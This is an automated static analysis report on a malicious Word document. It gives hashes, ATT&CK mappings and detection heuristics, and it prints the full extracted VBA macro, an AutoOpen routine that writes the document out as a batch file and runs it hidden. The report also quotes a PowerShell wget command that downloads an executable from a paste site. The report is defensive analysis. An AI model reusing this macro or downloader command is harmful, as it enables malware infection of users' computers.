Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 70fc4425db638f3d…

MALICIOUS

Office (OOXML)

95.7 KB Created: 2021-05-11 02:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-16
MD5: 5cab21bdb9e2f4ae2ed2a4068bb636fb SHA-1: 68b956d786a26e0230244570027ee00103a18b8b SHA-256: 70fc4425db638f3d0c8f1c383866976defebbb8c3015b3088912dfe2434da434
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains VBA macros with an AutoOpen subroutine that attempts to save a batch file to the temporary directory and then execute it using the 'timeout' command. The document body also contains instructions that lure the user into copying and pasting content into a shell, specifically mentioning 'powershell wget -o C:\Data\z.exe https://paste.c-net.org/M', indicating a downloader payload. The presence of the Shell() call and the clipboard command lure strongly suggest an attempt to download and execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.BlueMessage10210-9901548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueMessage10210-9901548-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://paste.c-net.org/MookieBrush In document text (OOXML body / shared strings)
    • https://paste.c-net.org/MIn macro / runtime command snippet
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 971 bytes
SHA-256: c534ff5aae3b8612d80a34e15b9fcaa6c4e472125000dd3e359ff430cb6ac441
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    
    Dim tempFolderPath As String
    tempFolderPath = Environ("Temp")
    
    Dim Directory As String
    Directory = tempFolderPath & "\" & "tmp.bat"
    
    ActiveDocument.SaveAs FileName:=Directory, _
        FileFormat:=wdFormatEncodedText
        
    MsgBox ("Unable to decrypt")
    
    Ruske
    
End Sub

Sub Ruske()

    Dim tempFolderPath As String
    tempFolderPath = Environ("Temp")
    
    Dim Directory As String
    Directory = tempFolderPath & "\" & "tmp.bat"
    
    Call Shell("timeout 10;" & Directory, vbHide)
    
    ActiveDocument.Close (wdDoNotSaveChanges)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: d355b9d1266f855b322d11b1c1083e782207ef027fbb32eb10136f7a36dcb406

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